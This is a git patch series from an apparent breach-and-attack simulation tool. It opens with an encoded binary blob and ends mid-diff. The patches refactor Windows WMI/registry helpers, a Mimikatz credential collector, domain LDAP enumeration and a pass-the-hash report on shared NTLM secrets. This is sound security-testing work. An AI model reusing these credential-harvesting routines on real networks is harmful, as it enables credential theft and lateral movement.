zzW&Q_h5I-)#DF#j#`s?P+xP54r^7KoIzVfWF33pxJb#oOjMrRZxOl+Zx08g{VwoMxL z6}P;z^2*C98mN-0ORdk?+Q~US6t($d0DCjt+WKU;T$S-Tqyj-1wSiOkGJB|1v=x>gu*`}Aj20Gb)8{`UEApzt4exsI_-N})P9{1x@FhMo@1j=zV2{Rp(9J3AOz8c z)(_YVkELGV+Qtm0aLKadcx0M{Ead@!Dx-xTjkAY@gg75&$#KThl-3VI79KNBJ6bCl z*W`lSvY`Vv3n#KgRzJvl5~uI)spUmgId5+BiC)g)ziv8Ugsd)6wzU|WKD{D$?yeaf z4Ks1l+RPe9?~y)vb*s}PQ-=aFzg5c$Eg?%?&*E+$Sx=#F;pbIVSJ}vYLNiE>X_etF z$M2TQOMRj@v%;3}ug42IQo+AKklQ|}ZM?QSNQ%?!(zJemK8CEREz*#iE@sU|Xv-@p zQ)Y<9D6>?q%o!b!;Akzb!lJ{_el4GJ}IXDqxOMc|q#?>(% zwJ{z~OsdH-G2{aS=S425>+ea<(lYgKXEwNm*z=A#F03%2ROvjzi;^`vpB{hKcxd+y zDJ?w6bimfkn69|)p3!=hR98Gk)0t^?B-Ol!!h9)H`8Oa(x?pPi_A2L7U0;&?7DveijL2upA|o}eV-$MM5_%H5|3s&b=3ca*qjzh5(izN zc^H{OojF=m&Et7QO-m$SQjw7+PB%s@$r8j=W`pMh4RrW03uP)24!)8iuD7CA7CvQw zNl8`KbCG7>ObH6BQWZX?PoPFBd~oPK>&@^$%qY-dYXbe76mTEWcl7VX={b-)SF4YO zpc4n3g`TgLQJ04w^xPhP%o9bgz|{pkEkWwp{>Q|=`Kmp=7C>1J#U1hVuK^{|$z%tU zdS2MC7rN>#mkV@A;kyP##8i>rrq`2d_P;7IEjsG|4KlEb{#`|Ff9l7c<$o9n(*y$B z-+MDW5s!~YnI@Q0nGJev60Y#@R;eVS97k^-ZWaT`Z>q=vfV|MH;3BLb_Nm3DR4=1a z01+$QD5WDs=PU`jFAMjsV+Rc#83I|EUVjJA#5EdX#<9GT+byJf^=aY_7={e_?DzA@ zr=BnJGH#%)Mw(>MB3s@+a9+M9Y#eE5yh@dyBu$I}s#!-N6=evJdlJk;F!G&A&K<1PZuQp89-an^7vj+XpQR#~0y91??Un?H zrDh0wiAw6$1}5)*MYs`Qt~TM>oPuk+6C?LarieFI3D-+!BSkG%x;)(2T2)gulqU4{ zh)c8DJGQYiXZ&)#C&pZdhvpC2{+ilqx8;BFG`839 zE!x=2s!2%GadasPzi%N0IawX0T@rusWGOp$U~qVB1=zW_mQmjW7h7$Hx!^4W-Kf6Q z_ns^!YnEc)mWZI z3)}lE=qtyaHk~h-Adax&EN5xXNe}b_1T_$^x^7_8J{<_B#wQgB`Ho(&dMNfNOBpo~ zJSyy696xzrv7`|H)xYMwruYX$b227gy+D7RGjxF$M`Et7n!7<7ixefGZ>%i5s1@f| z2eYpr+7m-YgL)oG8~_HAW(ua5(rB8CZe7OfyrR3Qxm9fKe^?lxrj;LU4g*{Gv`Zu z#X+4fEgk}xU@zw-ecrtXu$Gnffb@KqA)^tiMFl#sT`r?e!9$&hhf2qTkFBn0bzbGo zAn~|b%cY#jp6GYb%lVVu^WFmssq6f}X)n#p%G_!^5F4ff`BS^51KcUy?X@H@m*~;W zBtgGJyVXn6uwV6KujO?V2TW%hr6L#L-J86Sz8sbOBvZ}7ql?5CsRE4=%u|6;|GgUFXm8aQY(Y=t=)s9qLA20n&i+(bSfoR^5DY#l*5gs?RfV~ri?Z}e; z1y4+VV}Rm#0(}NJw=E7wM=-G3ju)^Q>#SRxpmbx4;Tt%VOC3y5x!@7fR^ zgZN!qi!>*JKZ~{tF;}y^{us|m>5Mc$Xwdm)bF}Na+^G@{hy=M6j!ylRoHG=ZG*c+N zqda8G9?Om`n;$U_`A4$6cyv?uyX|)p)qgl;_%Jc8y~{(fbZ_Z=leycjJ{W|;E^xiC z&T79Rgbf6zReorMxSs16FzaFS9f;sqvzD%r!4=a@LLY&ALs^kTp&sV}yRJrwCiyi4ls@k6^Xrh9?hz*z*adrP;qC>iKa zj7)*K*a45H5KLBJc3v|){(!OKO{MV!Jg#1*d9-&M~ExRGIAVnHeTd6{$~>L9&orE zU(r$gpV?9|ij%q+rO5a-e~p9hDTcF0`9#iwhkntB7lkJd7F9!?--G9O!Sudhdbjte z7~e6ZAt9m@?R*c#5i34d3|jP&7V~Jd5GE}FP}KtK=oxV4QvWC{BPsTCyU*4(B#lr1%~i+-Te(wQfoBfhc+t<|2y}-h9ADvn4^18b zO2=}Rz?CVY!8XQuh|g9BpBqd{UdHmWEi`@l9M+C3wcyBWC<33jPU4e0x(iMX)PdPc zsTN!ZS@~dgSDc3ev(ek_C+^a}#8;akxJa)z-WL~5D!_<+l?E&zUgpGj-e&lZxs1g6zizpG1u?dc`dlNoe>A2K! zne&R+>~9eAO7h&WZaXcs@9C}^%-8-canAIdHz5nxUs!+Tzy7@Ti(8DpBk|#mWBD6` zW=>vqb=9&vW=p=Faqqiz3$V7cb9{5QdlEP9nz7mYp5^A|NzsqyZa25No6@LQ?`uCN z*XW-Iyl)366+L8`miFfg@vna>8ycL)I;P0(53yRTYuYqF<5;6$F+#zI-QZvLid6lN z-Ua$7&`*T_>|9WzdSj*T75AU(_NvF*k?pi4Fqp0485Z%vf&`-GjmyxIw$E$Wy$zI z2cIocFEB(%!faRk8pEaUZBt7~sWlbbw1=~7$@b!aM%OPvnN1#RSLfEOO{&j2oa1O^ zO5;-X;!V|M<6Awo#n4P6j@J!djdVVwT4T+TQlN#viNTF`lr6r?u;92~ zW6k!-a1CM>7GZh|uvpAZ=@aQe=*L$>KI#nJ##(=1aWa^$;v;UgA_OzAO z1W?IX^4>PPE{{0=t)w?$tB6d%X!DML-f^AK;pZ~wgtu`4B%zYjcaCz1(Bb9sHei-E za}i)2zwvykm-k(u#KiGANzJa@(XblOA6}~vWDUhPb(*%!w**t*}3T*u6PvQKR60kZCLnSde!Tpl!7+t}%#o)t~i zlMAKAg*Go<|HRR4Lfn%=+5#f{t-pUj#^N7KYO-~?S#U`jS~v(h}+?j(9AEq zYa=bTbD4N*)IaGxLHJh`l!U3yJE{7eHLU{39BK0N;$gb<;?NTXr!3&au?pKa^UNz6 z-4@Z+0UC``u-r3!p=VM;yXJ&qa*6HR8^!Y{TH}}gvd}ZV`Hwq$w#=gL2%N?V>A9S~ z`m6^K_r3^Uo_}03;3mXj}qQ&!kxZSI$sh4cwYpEvcZkbbe$Z$0!o zq<^>HWR8)OH+R_m*Z3I40JAyVZYU)_<_q zZ$0$4H1wBA^jC9q*P!&rzWQU||A1p(#cHn70ndCa8_h)Cqdz(+OK{pYr}6Yr)+Cfx z8pHCS8@1~1dFt<<^vQ0sOlyP0gRJa9}594zrXd* zT=MaXfBgF^{?w0G`~_dWyVKto=B2W|akQo=>1^1F_fSjjhe81H%J&d?(+8^TZKQ;O zi5h|>?Ih(FkzpzRx>AOhBca3{x@1s4lJ}wFL35<*j;EL95i!I`b>$}o;)@g2D;;hwFI?9UV}X!=%=M&V3qOwl*ef46`Wi ztjM+%T_(ChoafvnuF8%aV<;xE8Wf8}O-xhwBT%(drzsg+(BPu0(edC_4eX8N9$HY_ zRoeVrP#tu&O9ax*ABnY2eL=%4f8<>LCL9x4X$={h(nLU}jUXfol9ID=`0*cDbBWSwuBCm`By z6(){fl~+JzR29KcLMUHawJ-1zduX)lBR0F-UR@HAh<)&KZ_fw_+yw%cMfoagYNUo2 z8}OS1I3#>})D0c?O>M0Bsn(Q`E!*+|E8=G4TAjg#*l!lDju9ASXD}Co_8A-$9OmFb z<_Df-$I}_gOoZNUvBpvu<)2j@0BlIv-b2MA{u^qyJc_a!M2#{NM7c;X1PoOr1|9|s+`9k?P9*2;7uIjFNh5mZAf{8Jm|I$F+SA8*MQ&p?vd z(8ubifyCFvCKzJ9*i*0=376@FHa8CGygS|S;ec!X$sVc^;#Y$KuI2rey}L2kvjg?= z3M`D4HMTfAh*rHfkd1C@wktz0sL072^Tfx2=(^N?Eea85GXoI&HIyGKd_@mRYX%LL zzAkN)nITFDs3t`{N^B|~Mfa5jautXR0C8zS37sT+5-QdBDj6USToxGM^%md|;$``x4Fo6RpJ=95vp9Lm{I1t2N+7r>O;WJILDTv|%dTs|% zI@e5KS@JaoDA)(|CNzK=SWSW>Co{VV24lXeM2B_4%`fwI2l`9lS%wUZ=sLeDW- zh|Q>-hi>_$-oG^^b*iuv{Hq2b91KPM0RDZ5f<*yW#q&_OE9j^U3h!KIzY?_!D&%Vn(VNA<>L(Jd=ssvAnj&1q zxI{e3Oas-x9v>B#*jGE>fO4oMSG)j)MHzR|W>7w|D0@%4VSA z&&@Hfu5av)sgYtSWw-Lgi&6MyYi$2_<+()vPS(vb)REFhef7J1jS-B?M8l;@~L;M=qvX7#ts&CG-$V;O%X9G4UqqmI*fj}L@SH!@D{S2nkhi+)gY~|aMANckQ}^#xlFyKYN7f#1~DcYjGiB}G6Pugn|#eABnJ=Sxt1qx zP1Rw;ypLF6Mp}No$|++STNSOUO0rdFVUTW`)fLn}du)|zB6RETmD520bRJ)5nMVH9 z5=h_fYLb0|9zv2&z7a%ZQUW)iw-tDA!9KJW=3~Eac>-~b{XB%LE$yLBMYJ;TW=>Ss zXm11tLt9e)mAVLn(ky{_yMwiCwxtD|BmMLv;ex1ET3&Mh?lDC3;EB2W8f9})|6OoX z+O>_(%B@n3g>LdTxoQ%sEC#U)q8`yi#WX}*N%jUnOl5PTRW5W-Wt9OcAs7-Wg6x?swO26x1ll)$!8C7+zeB_XvX_90)#lRmn8L2RqZ0Y`P;qD!)+EZelpEz!t}!x7Q3dX@Su z2H_zKKe%Cel;vzc8>OX!o9Recm+HnYE!Zoynj$h1K6}wBR{=LHQ-s2xg-ls-AR@*x z$x5{WBJHroUi5dEE?#YKiPA2}yag=aKI+C^QLsq55i*4r@PDVur28sAHAEy^&~?r7 zu+#0pCCFx9*eRwlhMhJ+Z6xJRF$3COZmxJ8lH^D&B+*fcv@4ae-RBVPVvK<5lPh*Z zk_8hDakSdn`54M1u7`kwgzop|30s?`{lhi$G5vg%QcgEP$s541%?{?`7539nT7}H> z17U&Ef|WPkJ6IuV$#DHXO+7HE-4q1Y1hmUK6{<5#D_LrvtWH7QqoNObE9nNPWjY7l z^2L|BRwQp6%kMt8h;hjPRu@(PPvF!pK9`-TF~KLcqB>tia#Ry|+=LyZOr!_7XiI?=$%z}It=H!zn*o7!_foXm3K{+=x`4U#h7|4)Q z%}^{XI9Wc7pEcE8&t^iV;BH|FP&kaw!r^Jkl0iQ!{8dB|kMBv`se~!J0u0`c&u(Y^ z{<(ZgvRbf)*<(0&eXE25cb)+#F|Ay^zK*GUBNvScw)_>t6!QIi!_gUnSFkc`#i* zG8Ne@GRMR=b6%9za26xt!iKyLgx{zhT9b$v$-KCw7|9M$@tflE>Ip_^I9B*io%}wx z_|bk4fA5YVd)E;+_S|;Pi~cTCggbK36y1WMcIM&!=&G54Y^EE}K(RVa(fIT46q$dH zIyPBjJD!kMa&SJ7K&-tH|1`MaCgVGEd=~0IK{$&jc3`pIkiW+x5CmTDh9WdwQ;iYk zOoY(Gi0V%(Ey}7*+LLJ~9Q}mRfvvJ*`0;Kd@{v8hIR$EBFR2g;|`g zMCwC>K8_?0klm`;GA47xgzvP*60?;iYWZN+OVTEcgw(1bRjpL3vFx1_+29*_{824w z22A`uS>wL^4{2h_u&*+)o6*3?#R@~(G&YP_CEW5ngNXGx#8oFO}EZ$#sHuKtbgPN?$4hooAf4r$d?kNTWKl*0r= nc#$QP>VN)j7jSXfpS8Hwy{`*XyZtg?5Rm7_EgOo~hyVEBe}7>m literal 0 HcmV?d00001 From d02b9c25387d13b27704fb29e9978556df20dac5 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 22 Oct 2018 17:16:58 +0300 Subject: [PATCH 109/183] small bug fix --- monkey/monkey_island/cc/services/wmi_info_handler.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/wmi_info_handler.py b/monkey/monkey_island/cc/services/wmi_info_handler.py index 133f4742a..b4b12c7a3 100644 --- a/monkey/monkey_island/cc/services/wmi_info_handler.py +++ b/monkey/monkey_island/cc/services/wmi_info_handler.py @@ -25,6 +25,7 @@ class WMIHandler: def update_critical_services(self, wmi_services, wmi_products, machine_id): critical_names = ("W3svc", "MSExchangeServiceHost", "MSSQLServer", "dns", 'MSSQL$SQLEXPRESS', 'SQL') + mongo.db.monkey.update({'_id': machine_id}, {'$set': {'critical_services': []}}) services_names_list = [str(i['Name'])[2:-1] for i in wmi_services] products_names_list = [str(i['Name'])[2:-2] for i in wmi_products] From 17b344f62f4c141667f0b49c3557e32fec1fe4dc Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 25 Oct 2018 14:17:31 +0300 Subject: [PATCH 110/183] 99% done with RCR, not yet been tested. --- monkey/common/utils/__init__.py | 0 monkey/common/utils/mongo_utils.py | 83 ++++++ monkey/common/utils/reg_utils.py | 25 ++ monkey/common/utils/wmi_utils.py | 27 ++ .../system_info/mimikatz_collector.py | 1 + .../system_info/windows_info_collector.py | 147 +--------- .../system_info/wmi_consts.py | 32 +++ .../cc/island_logger_default_config.json | 2 +- .../monkey_island/cc/resources/telemetry.py | 14 +- monkey/monkey_island/cc/services/node.py | 4 + .../monkey_island/cc/services/pth_report.py | 258 +++++++++--------- monkey/monkey_island/cc/services/report.py | 25 +- monkey/monkey_island/cc/services/user_info.py | 69 ++--- .../cc/services/wmi_info_handler.py | 21 +- .../cc/ui/src/components/Main.js | 1 - .../cc/ui/src/components/pages/ReportPage.js | 13 +- .../report-components/SharedAdmins.js | 42 --- .../report-components/SharedCreds.js | 41 --- 18 files changed, 375 insertions(+), 430 deletions(-) create mode 100644 monkey/common/utils/__init__.py create mode 100644 monkey/common/utils/mongo_utils.py create mode 100644 monkey/common/utils/reg_utils.py create mode 100644 monkey/common/utils/wmi_utils.py create mode 100644 monkey/infection_monkey/system_info/wmi_consts.py delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/SharedAdmins.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/SharedCreds.js diff --git a/monkey/common/utils/__init__.py b/monkey/common/utils/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py new file mode 100644 index 000000000..7524a545e --- /dev/null +++ b/monkey/common/utils/mongo_utils.py @@ -0,0 +1,83 @@ +import wmi +import win32com + +__author__ = 'maor.rayzin' + + +class MongoUtils: + + def __init__(self): + # Static class + pass + + @staticmethod + def fix_obj_for_mongo(o): + if type(o) == dict: + return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()]) + + elif type(o) in (list, tuple): + return [MongoUtils.fix_obj_for_mongo(i) for i in o] + + elif type(o) in (int, float, bool): + return o + + elif type(o) in (str, unicode): + # mongo dosn't like unprintable chars, so we use repr :/ + return repr(o) + + elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object: + return MongoUtils.fix_wmi_obj_for_mongo(o) + + elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch: + try: + # objectSid property of ds_user is problematic and need thie special treatment. + # ISWbemObjectEx interface. Class Uint8Array ? + if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": + return o.Value + except: + pass + + try: + return o.GetObjectText_() + except: + pass + + return repr(o) + + else: + return repr(o) + + @staticmethod + def fix_wmi_obj_for_mongo(o): + row = {} + + for prop in o.properties: + try: + value = getattr(o, prop) + except wmi.x_wmi: + # This happens in Win32_GroupUser when the user is a domain user. + # For some reason, the wmi query for PartComponent fails. This table + # is actually contains references to Win32_UserAccount and Win32_Group. + # so instead of reading the content to the Win32_UserAccount, we store + # only the id of the row in that table, and get all the other information + # from that table while analyzing the data. + value = o.properties[prop].value + + row[prop] = MongoUtils.fix_obj_for_mongo(value) + + for method_name in o.methods: + if not method_name.startswith("GetOwner"): + continue + + method = getattr(o, method_name) + + try: + value = method() + value = MongoUtils.fix_obj_for_mongo(value) + row[method_name[3:]] = value + + except wmi.x_wmi: + continue + + return row + diff --git a/monkey/common/utils/reg_utils.py b/monkey/common/utils/reg_utils.py new file mode 100644 index 000000000..1e6c297b3 --- /dev/null +++ b/monkey/common/utils/reg_utils.py @@ -0,0 +1,25 @@ +import _winreg + +from common.utils.mongo_utils import MongoUtils + +__author__ = 'maor.rayzin' + + +class RegUtils: + + def __init__(self): + # Static class + pass + + @staticmethod + def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): + key = _winreg.ConnectRegistry(None, store) + subkey = _winreg.OpenKey(key, subkey_path) + + d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) + d = MongoUtils.fix_obj_for_mongo(d) + + subkey.Close() + key.Close() + + return d diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py new file mode 100644 index 000000000..7b1dae455 --- /dev/null +++ b/monkey/common/utils/wmi_utils.py @@ -0,0 +1,27 @@ +import wmi + +from mongo_utils import MongoUtils + +__author__ = 'maor.rayzin' + + +class WMIUtils: + + def __init__(self): + # Static class + pass + + @staticmethod + def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None): + _wmi = wmi.WMI(moniker=moniker) + + try: + if not properties: + wmi_class = getattr(_wmi, class_name)() + else: + wmi_class = getattr(_wmi, class_name)(properties) + + except wmi.x_wmi: + return + + return MongoUtils.fix_obj_for_mongo(wmi_class) diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 1d8294ce5..4ef764251 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -57,6 +57,7 @@ class MimikatzCollector(object): Gets the logon info from mimikatz. Returns a dictionary of users with their known credentials. """ + LOG.info('Getting mimikatz logon information') if not self._isInit: return {} LOG.debug("Running mimikatz collector") diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 8479fcf7f..abf0771fa 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,125 +1,20 @@ import os import logging - import sys -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module -import wmi -import win32com -import _winreg -from mimikatz_collector import MimikatzCollector -from . import InfoCollector +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module + import infection_monkey.config from infection_monkey.system_info.mimikatz_collector import MimikatzCollector from infection_monkey.system_info import InfoCollector +from infection_monkey.system_info.wmi_consts import WMI_CLASSES +from common.utils.wmi_utils import WMIUtils LOG = logging.getLogger(__name__) LOG.info('started windows info collector') __author__ = 'uri' -WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount", - "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service", - "Win32_OptionalFeature"} - -# These wmi queries are able to return data about all the users & machines in the domain. -# For these queries to work, the monkey shohuld be run on a domain machine and -# -# monkey should run as *** SYSTEM *** !!! -# -WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", - "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", - "DS_objectSid", "DS_objectClass", "DS_memberOf", - "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime", - "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp", - "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"), - - "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", - "DS_sAMAccountType", "DS_objectSid", "DS_objectClass", - "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", - "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), - - "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", - "DS_adminDisplayName", "DS_badPasswordTime", - "DS_badPwdCount", "DS_cn", "DS_distinguishedName", - "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", - "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass", - "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion", - "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName", - "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", - "DS_whenChanged", "DS_whenCreated"), - } - - -def fix_obj_for_mongo(o): - if type(o) == dict: - return dict([(k, fix_obj_for_mongo(v)) for k, v in o.iteritems()]) - - elif type(o) in (list, tuple): - return [fix_obj_for_mongo(i) for i in o] - - elif type(o) in (int, float, bool): - return o - - elif type(o) in (str, unicode): - # mongo dosn't like unprintable chars, so we use repr :/ - return repr(o) - - elif hasattr(o, "__class__") and o.__class__ == wmi._wmi_object: - return fix_wmi_obj_for_mongo(o) - - elif hasattr(o, "__class__") and o.__class__ == win32com.client.CDispatch: - try: - # objectSid property of ds_user is problematic and need thie special treatment. - # ISWbemObjectEx interface. Class Uint8Array ? - if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": - return o.Value - except: - pass - - try: - return o.GetObjectText_() - except: - pass - - return repr(o) - - else: - return repr(o) - -def fix_wmi_obj_for_mongo(o): - row = {} - - for prop in o.properties: - try: - value = getattr(o, prop) - except wmi.x_wmi: - # This happens in Win32_GroupUser when the user is a domain user. - # For some reason, the wmi query for PartComponent fails. This table - # is actually contains references to Win32_UserAccount and Win32_Group. - # so instead of reading the content to the Win32_UserAccount, we store - # only the id of the row in that table, and get all the other information - # from that table while analyzing the data. - value = o.properties[prop].value - - row[prop] = fix_obj_for_mongo(value) - - for method_name in o.methods: - if not method_name.startswith("GetOwner"): - continue - - method = getattr(o, method_name) - - try: - value = method() - value = fix_obj_for_mongo(value) - row[method_name[3:]] = value - - except wmi.x_wmi: - continue - - return row - class WindowsInfoCollector(InfoCollector): """ @@ -147,8 +42,8 @@ class WindowsInfoCollector(InfoCollector): self.get_wmi_info() LOG.debug('finished get_wmi_info') - #self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa") self.get_installed_packages() + LOG.debug('Got installed packages') mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() @@ -156,39 +51,17 @@ class WindowsInfoCollector(InfoCollector): if "credentials" in self.info: self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() + else: + LOG.info('No mimikatz info was gathered') return self.info def get_installed_packages(self): + LOG.info('getting installed packages') self.info["installed_packages"] = os.popen("dism /online /get-packages").read() self.info["installed_features"] = os.popen("dism /online /get-features").read() def get_wmi_info(self): + LOG.info('getting wmi info') for wmi_class_name in WMI_CLASSES: - self.info['wmi'][wmi_class_name] = self.get_wmi_class(wmi_class_name) - - def get_wmi_class(self, class_name, moniker="//./root/cimv2", properties=None): - _wmi = wmi.WMI(moniker=moniker) - - try: - if not properties: - wmi_class = getattr(_wmi, class_name)() - else: - wmi_class = getattr(_wmi, class_name)(properties) - - except wmi.x_wmi: - return - - return fix_obj_for_mongo(wmi_class) - - def get_reg_key(self, subkey_path, store=_winreg.HKEY_LOCAL_MACHINE): - key = _winreg.ConnectRegistry(None, store) - subkey = _winreg.OpenKey(key, subkey_path) - - d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])]) - d = fix_obj_for_mongo(d) - - self.info['reg'][subkey_path] = d - - subkey.Close() - key.Close() + self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py new file mode 100644 index 000000000..a87e297d9 --- /dev/null +++ b/monkey/infection_monkey/system_info/wmi_consts.py @@ -0,0 +1,32 @@ +WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount", + "Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service", + "Win32_OptionalFeature"} + +# These wmi queries are able to return data about all the users & machines in the domain. +# For these queries to work, the monkey should be run on a domain machine and +# +# monkey should run as *** SYSTEM *** !!! +# +WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName", + "DS_sAMAccountType", "ADSIPath", "DS_userAccountControl", + "DS_objectSid", "DS_objectClass", "DS_memberOf", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime", + "DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp", + "DS_lastLogoff", "DS_logonCount", "DS_accountExpires"), + + "ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_objectSid", "DS_objectClass", + "DS_name", "DS_memberOf", "DS_member", "DS_instanceType", + "DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"), + + "ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires", + "DS_adminDisplayName", "DS_badPasswordTime", + "DS_badPwdCount", "DS_cn", "DS_distinguishedName", + "DS_instanceType", "DS_lastLogoff", "DS_lastLogon", + "DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass", + "DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion", + "DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName", + "DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl", + "DS_whenChanged", "DS_whenCreated"), + } + diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json index 7c2886410..34a57b374 100644 --- a/monkey/monkey_island/cc/island_logger_default_config.json +++ b/monkey/monkey_island/cc/island_logger_default_config.json @@ -17,7 +17,7 @@ "info_file_handler": { "class": "logging.handlers.RotatingFileHandler", - "level": "DEBUG", + "level": "INFO", "formatter": "simple", "filename": "info.log", "maxBytes": 10485760, diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index efd5e2414..1680f7664 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -186,19 +186,11 @@ class Telemetry(flask_restful.Resource): Telemetry.add_system_info_creds_to_config(creds) Telemetry.replace_user_dot_with_comma(creds) if 'mimikatz' in telemetry_json['data']: - users_secrets = user_info.extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) + users_secrets = user_info.MimikatzSecrets.\ + extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) if 'wmi' in telemetry_json['data']: wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) - wmi_handler.add_groups_to_collection() - wmi_handler.add_users_to_collection() - wmi_handler.create_group_user_connection() - wmi_handler.insert_info_to_mongo() - - wmi_handler.add_admin(wmi_handler.info_for_mongo[wmi_handler.ADMINISTRATORS_GROUP_KNOWN_SID], monkey_id) - wmi_handler.update_admins_retrospective() - wmi_handler.update_critical_services(telemetry_json['data']['wmi']['Win32_Service'], - telemetry_json['data']['wmi']['Win32_Product'], - monkey_id) + wmi_handler.process_and_handle_wmi_info() @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 371eefb5a..87b2a1aec 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -325,3 +325,7 @@ class NodeService: @staticmethod def get_node_hostname(node): return node['hostname'] if 'hostname' in node else node['os']['version'] + + @staticmethod + def get_hostname_by_id(node_id): + NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/pth_report.py index 7a3dbc39b..11d2be821 100644 --- a/monkey/monkey_island/cc/services/pth_report.py +++ b/monkey/monkey_island/cc/services/pth_report.py @@ -1,16 +1,16 @@ -import uuid -from itertools import combinations, product +from itertools import product from cc.database import mongo from bson import ObjectId +from cc.services.node import NodeService + +__author__ = 'maor.rayzin' class PTHReportService(object): @staticmethod - def get_duplicated_passwords_nodes(): - users_cred_groups = [] - + def __dup_passwords_mongoquery(): pipeline = [ {"$match": { 'NTLM_secret': { @@ -26,74 +26,16 @@ class PTHReportService(object): }}, {'$match': {'count': {'$gt': 1}}} ] - docs = mongo.db.groupsandusers.aggregate(pipeline) - for doc in docs: - users_list = [] - for user in doc['Docs']: - hostname = None - if user['machine_id']: - machine = mongo.db.monkey.find_one({'_id': ObjectId(user['machine_id'])}, {'hostname': 1}) - if machine.get('hostname'): - hostname = machine['hostname'] - users_list.append({'username': user['name'], 'domain_name': user['domain_name'], - 'hostname': hostname}) - users_cred_groups.append({'cred_groups': users_list}) - - return users_cred_groups + return mongo.db.groupsandusers.aggregate(pipeline) @staticmethod - def get_duplicated_passwords_issues(): - user_groups = PTHReportService.get_duplicated_passwords_nodes() - issues = [] - users_gathered = [] - for group in user_groups: - for user_info in group['cred_groups']: - users_gathered.append(user_info['username']) - issues.append( - { - 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords', - 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'], - 'shared_with': [i['username'] for i in group['cred_groups']], - 'is_local': False if user_info['domain_name'] else True - } - ) - break - return issues + def __get_admin_on_machines_format(admin_on_machines): + + machines = 